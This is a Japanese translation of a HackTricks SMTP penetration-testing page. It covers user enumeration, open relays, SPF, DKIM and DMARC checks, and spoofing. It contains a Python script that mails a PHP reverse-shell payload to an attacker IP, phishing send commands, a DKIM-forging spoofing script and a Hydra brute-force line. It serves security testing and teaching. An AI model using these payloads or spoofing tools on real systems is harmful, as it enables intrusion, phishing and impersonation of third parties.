35 KiB
25,465,587 - SMTP/sのペネトレーションテスト
AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をチェック!
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告したい、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式のPEASS & HackTricksグッズを入手する
- The PEASS Familyを発見する、私たちの独占的なNFTsのコレクション
- 💬 Discordグループに参加するか、テレグラムグループに参加するか、Twitter 🐦 @carlospolopmをフォローする。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ。どこからでもフルペネトレーションテストを実行できます。リコンからレポーティングまでの20以上のツールと機能があります。私たちはペネトレーターを置き換えるものではありません - 私たちはカスタムツール、検出とエクスプロイトモジュールを開発して、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためです。
{% embed url="https://pentest-tools.com/" %}
基本情報
SMTP (Simple Mail Transfer Protocol) は、メールの送信と受信に使用されるTCP/IPプロトコルです。しかし、受信側でメッセージをキューに入れる能力に限界があるため、通常はPOP3またはIMAPの2つのプロトコルのいずれかと組み合わせて使用されます。これにより、ユーザーはサーバーメールボックスにメッセージを保存し、定期的にサーバーからダウンロードすることができます。
言い換えると、ユーザーは通常、メールの送信にSMTPを使用し、メールの受信にはPOP3またはIMAPを使用するプログラムを使用します。Unixベースのシステムでは、sendmailが最も広く使用されているSMTPサーバーです。商用パッケージのSendmailにはPOP3サーバーが含まれています。Microsoft ExchangeにはSMTPサーバーが含まれており、POP3サポートを設定することもできます。
こちらから。
デフォルトポート: 25,465(ssl),587(ssl)
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
EMAILヘッダー
もし被害者にメールを送らせる機会があれば(例えばウェブページのコンタクトフォームを通じて)、それを行うことで、メールのヘッダーを見ることによって被害者の内部トポロジーについて学ぶことができます。
また、存在しないアドレスにメールを送ることでSMTPサーバーからメールを取得することもできます(サーバーは攻撃者にNDNメールを送信します)。ただし、許可されたアドレスからメールを送信すること(SPFポリシーを確認すること)と、NDNメッセージを受信できることを確認してください。
さらに、異なる内容を送信することも試みるべきです。より興味深い情報をヘッダーで見つけることができるかもしれません。例えば:X-Virus-Scanned: by av.domain.com
EICARテストファイルを送信すべきです。
AVを検出することで、既知の脆弱性を利用することができるかもしれません。
基本的なアクション
バナーグラビング/基本的な接続
SMTP:
nc -vn <IP> 25
SMTPS:
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
組織のMXサーバーを見つける
dig +short mx google.com
列挙
nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
NTLM 認証 - 情報開示
サーバーが NTLM 認証(Windows)をサポートしている場合、機密情報(バージョン)を取得できます。詳細はこちら。
root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
または、nmap プラグイン smtp-ntlm-info.nse
を使用して自動化します
内部サーバー名 - 情報漏洩
一部のSMTPサーバーは、"MAIL FROM" コマンドが完全なアドレスなしで発行されると、送信者のアドレスを自動補完し、その内部名を漏洩します:
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
スニッフィング
ポート25へのパケットからパスワードを嗅ぎ取れるか確認してください
認証ブルートフォース
ユーザー名ブルートフォース列挙
認証は常に必要ではありません
RCPT TO
$ telnet 10.0.10.1 25
Trying 10.0.10.1...
Connected to 10.0.10.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello [10.0.0.99], pleased to meet you
MAIL FROM:test@test.org
250 2.1.0 test@test.org... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok
VRFY
$ telnet 10.0.0.1 25
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello [10.0.0.99], pleased to meet you
VRFY root
250 Super-User <root@myhost>
VRFY blah
550 blah... User unknown
EXPN
$ telnet 10.0.10.1 25
Trying 10.0.10.1...
Connected to 10.0.10.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 <ed.williams@myhost>
EXPN sshd
250 2.1.5 sshd privsep <sshd@mail2>
自動ツール
Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>
即時に利用可能な脆弱性評価&ペネトレーションテストのセットアップ。どこからでもフルペネトレーションテストを実行でき、リコンからレポーティングまでの20以上のツール&機能を備えています。ペネトレーションテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむために時間を取り戻すために、カスタムツール、検出&エクスプロイトモジュールを開発しています。
{% embed url="https://pentest-tools.com/" %}
DSN Reports
配信状況通知レポート: 組織に無効なアドレスにメールを送信すると、組織はそのアドレスが無効であることを通知し、あなたにメールを返送します。返送されたメールのヘッダーには、レポートとやり取りしたメールサービスのIPアドレスやアンチウイルスソフトウェア情報など、潜在的に機密性の高い情報が含まれる可能性があります。
コマンド
Linuxコンソールからメールを送信
root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.
IT Dept,
We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems.
Sincerely,
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
Pythonを使ってメールを送信する
Pythonスクリプトでメールを送信する別の方法です
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys
lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587
# create message object instance
msg = MIMEMultipart()
# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"
# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))
print("[*] Payload is generated : %s" % message)
msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)
if server.noop()[0] != 250:
print("[-]Connection Error")
exit()
server.starttls()
# Uncomment if log-in with authencation
# server.login(msg['From'], password)
server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()
print("[***]successfully sent email to %s:" % (msg['To']))
メールスプーフィング
このセクションのほとんどは、ネットワークセキュリティアセスメント 第3版から抜粋されています。
SMTPメッセージは簡単に偽装されるため、組織はSPF、DKIM、DMARC機能を使用して、不正なメールの送信を防ぎます。
これらの対策の完全なガイドはhttps://seanthegeek.net/459/demystifying-dmarc/で見つけることができます。
SPF
{% hint style="danger" %}
SPFは2014年に「非推奨」とされました。これは、_spf.domain.com
ではなくdomain.com
にTXTレコードを作成し、同じ構文を使用することを意味します。
さらに、以前のspfレコードを再利用するために、"v=spf1 include:_spf.google.com ~all"
のようなものがよく見られます。
{% endhint %}
Sender Policy Framework(SPF)は、メールを送信するホストが認証されているかどうかをMTAがチェックするメカニズムを提供します。
その後、組織は認証されたメールサーバーのリストを定義し、MTAはこのリストを照会して、メールが偽装されたものかどうかをチェックできます。
ドメイン名に代わってメールを送信することが許可されているIPアドレス/範囲、ドメインなどを定義するために、SPFレジストリにはさまざまな"メカニズム"が表示されることがあります。
メカニズム
メカニズム | 説明 |
---|---|
ALL | 常に一致します。以前のメカニズムによって一致しなかったすべてのIPに対して-all のようなデフォルト結果を使用します。 |
A | ドメイン名に送信者のアドレスに解決できるアドレスレコード(AまたはAAAA)がある場合、一致します。 |
IP4 | 送信者が指定されたIPv4アドレス範囲内にある場合、一致します。 |
IP6 | 送信者が指定されたIPv6アドレス範囲内にある場合、一致します。 |
MX | ドメイン名に送信者のアドレスに解決するMXレコードがある場合、一致します(つまり、メールはドメインの受信メールサーバーの1つから来ています)。 |
PTR | クライアントのアドレスのドメイン名(PTRレコード)が指定されたドメイン内にあり、そのドメイン名がクライアントのアドレスに解決される場合(フォワード確認リバースDNS)、一致します。このメカニズムは推奨されず、可能であれば避けるべきです。 |
EXISTS | 指定されたドメイン名が任意のアドレスに解決される場合、一致します(解決されるアドレスに関係なく)。これはめったに使用されません。SPFマクロ言語とともに、DNSBLクエリのようなより複雑な一致を提供します。 |
INCLUDE | 別のドメインのポリシーを参照します。そのドメインのポリシーが合格する場合、このメカニズムは合格します。ただし、含まれるポリシーが失敗した場合、処理は続行されます。別のドメインのポリシーに完全に委任するには、リダイレクト拡張を使用する必要があります。 |
REDIRECT | リダイレクトは、SPFポリシーをホストする別のドメイン名へのポインターであり、同じメールインフラストラクチャを共有する多数のドメインで役立ちます。 リダイレクトメカニズムで示されたドメインのSPFポリシーが使用されます。 |
また、メカニズムが一致した場合に行うべきことを示す クオリファイアを識別することも可能です。デフォルトでは、クオリファイア"+"が使用されます(つまり、任意のメカニズムが一致した場合、それは許可されていることを意味します)。
通常、各SPFポリシーの最後に、~allまたは**-all**のようなものがあります。これは、送信者がSPFポリシーに一致しない場合、メールを信頼できないものとしてタグ付けする(~)か、メールを拒否する(-)かを示すために使用されます。
クオリファイア
各メカニズムは、以下の4つのクオリファイアのいずれかと組み合わせることができます:
+
はPASS結果です。これは省略可能です。例えば、+mx
はmx
と同じです。?
はNEUTRAL結果で、NONE(ポリシーなし)と同じように解釈されます。~
(チルダ)はSOFTFAILで、NEUTRALとFAILの間のデバッグ支援です。通常、SOFTFAILを返すメッセージは受け入れられますが、タグ付けされます。-
(マイナス)はFAILで、メールは拒否されるべきです(下記参照)。
以下の例では、google.comのSPFポリシーを読むことができます。最初のSPFポリシーが他のドメインのSPFポリシーを含んでいることに注意してください:
kali@kali:~$ dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
kali@kali:~$ dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com. IN TXT
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
kali@kali:~$ dig txt _netblocks.google.com | grep spf
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
kali@kali:~$ dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
kali@kali:~$ dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
従来、正しいSPFレコードがない、または任意のSPFレコードがないドメイン名を偽装することが可能でした。現在、有効なSPFレコードがないドメインからのメールは、おそらく自動的に拒否されるか、信頼できないとマークされます。
ドメインのSPFをチェックするには、以下のようなオンラインツールを使用できます: https://www.kitterman.com/spf/validate.html
DKIM
DomainKeys Identified Mail (DKIM) は、送信されたメールが外部のMTAによって検証され、DNS経由でドメインの公開鍵を取得するメカニズムです。DKIMの公開鍵はドメインのTXTレコード内に保持されていますが、それを取得するにはセレクタとドメイン名の両方を知る必要があります。
その後、鍵を要求するには、メールヘッダーの DKIM-Signature
からドメイン名とセレクタが必要です。例: d=gmail.com;s=20120113
dig 20120113._domainkey.gmail.com TXT | grep p=
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCg
KCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
DMARC
Domain-based Message Authentication, Reporting & Conformance (DMARC) は、SPFとDKIMを拡張したメール認証方法です。ポリシーは、特定のドメインのメールを処理する方法と実行されたアクションについて報告する方法をメールサーバーに指示します。
DMARCレコードを取得するには、サブドメイン _dmarc を照会する必要があります
root@kali:~# dig _dmarc.yahoo.com txt | grep DMARC
_dmarc.yahoo.com. 1785 IN TXT "v=DMARC1\; p=reject\; sp=none\; pct=100\;
rua=mailto:dmarc-yahoo-rua@yahoo-inc.com, mailto:dmarc_y_rua@yahoo.com\;"
root@kali:~# dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com. 600 IN TXT "v=DMARC1\; p=quarantine\; rua=mailto:mailauth-reports@google.com"
root@kali:~# dig _dmarc.paypal.com txt | grep DMARC
_dmarc.paypal.com. 300 IN TXT "v=DMARC1\; p=reject\; rua=mailto:d@rua.agari.com\;
ruf=mailto:dk@bounce.paypal.com,mailto:d@ruf.agari.com"
DMARCタグ
タグ名 | 目的 | 例 |
---|---|---|
v | プロトコルバージョン | v=DMARC1 |
pct | フィルタリングされるメッセージの割合 | pct=20 |
ruf | フォレンジックレポートのための報告URI | ruf=mailto:authfail@example.com |
rua | 集約レポートのための報告URI | rua=mailto:aggrep@example.com |
p | 組織ドメインのポリシー | p=quarantine |
sp | ODのサブドメインのポリシー | sp=reject |
adkim | DKIMのアライメントモード | adkim=s |
aspf | SPFのアライメントモード | aspf=r |
サブドメインについては?
**こちらから。
メールを送信する各サブドメインには、別々のSPFレコードが必要です。
以下は、かつてこの種の情報のための素晴らしいリソースであったopenspf.orgに掲載されていたものです。
デーモンの問題:サブドメインについては?
pielovers.demon.co.ukからメールが届き、pieloversにSPFデータがない場合、一つ上のレベルでdemon.co.ukのSPFをテストすべきか?いいえ。デーモンの各サブドメインは異なる顧客であり、各顧客は独自のポリシーを持つかもしれません。デーモンのポリシーがデフォルトで全ての顧客に適用されることは理にかなっていません。デーモンがそれを望むなら、各サブドメインにSPFレコードを設定できます。
SPF発行者へのアドバイスは次のとおりです:AレコードまたはMXレコードを持つ各サブドメインまたはホスト名にSPFレコードを追加すべきです。
ワイルドカードのAレコードまたはMXレコードを持つサイトは、次の形式のワイルドカードSPFレコードも持つべきです:* IN TXT "v=spf1 -all"
これは理にかなっています - サブドメインは異なる地理的位置にあり、非常に異なるSPF定義を持つ可能性があります。
オープンリレー
送信されたメールがスパムフィルターによってフィルタリングされ、受信者に届かないようにするため、送信者は受信者が信頼するリレーサーバーを使用できます。管理者はしばしば、どのIP範囲を許可する必要があるかを把握していません。これは、外部および内部のペネトレーションテストで今でもしばしば見つかるSMTPサーバーの誤設定につながります。したがって、彼らはメールトラフィックでエラーを引き起こさないように、そして潜在的および現在の顧客とのコミュニケーションを妨げたり、意図せず中断したりしないように、すべてのIPアドレスを許可します。
mynetworks = 0.0.0.0/0
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
ツール
- https://github.com/serain/mailspoof SPFとDMARCの誤設定をチェック
- https://pypi.org/project/checkdmarc/ 自動的にSPFとDMARCの設定を取得
偽装メールを送信
または、ツールを使用することもできます:
# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
{% hint style="warning" %}
dkim pythonライブラリを使用してキーの解析中にエラーが発生した場合、以下のものを使用してください。
注意: これは、opensslプライベートキーが何らかの理由でdkimによって解析できない場合に、迅速なチェックを行うための一時的な修正です。
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----
{% endhint %}
手動で行うこともできます:
{% tabs %} {% tab title="PHP" %}
# これは署名されていないメッセージを送信します
mail("your_email@gmail.com", "テストの件名!", "ねえ!これはテストです", "From: administrator@victim.com");
{% endtab %}
{% tab title="Python" %}
# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py
import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]
# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")
# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()
# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()
# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()
# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)
{% endtab %} {% endtabs %}
詳細情報
これらの保護についての詳細情報はこちらで確認できます https://seanthegeek.net/459/demystifying-dmarc/
その他のフィッシング指標
- ドメインの年齢
- IPアドレスを指すリンク
- リンク操作技術
- 疑わしい(一般的でない)添付ファイル
- 壊れたメールコンテンツ
- メールヘッダーと異なる値の使用
- 有効かつ信頼できるSSL証明書の存在
- ウェブコンテンツフィルタリングサイトへのページの提出
SMTPを通じたデータ流出
SMTP経由でデータを送信できる場合 これを読んでください。
設定ファイル
Postfix
通常、インストールされている場合、/etc/postfix/master.cf
には、例えば新しいメールがユーザーによって受信されたときに実行するスクリプトが含まれています。例えば、flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}
という行は、ユーザーmarkに新しいメールが受信された場合、/etc/postfix/filtering
が実行されることを意味します。
他の設定ファイル:
sendmail.cf
submit.cf
HackTricks 自動コマンド
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
Port_Number: 25,465,587 #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
即時に利用可能な脆弱性評価とペネトレーションテストのセットアップ。どこからでもフルペンテストを実行でき、リコンからレポーティングまでの20以上のツールと機能があります。私たちはペネトレーターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむために時間を取り戻すためにカスタムツール、検出とエクスプロイトモジュールを開発します。
{% embed url="https://pentest-tools.com/" %}
AWSハッキングをゼロからヒーローまで学ぶ htARTE (HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告したい場合、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式のPEASS & HackTricksグッズを入手する
- The PEASS Familyを発見する、私たちの独占的なNFTsのコレクション
- 💬 Discordグループに参加するか、テレグラムグループに参加するか、Twitter 🐦 @carlospolopmをフォローする。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。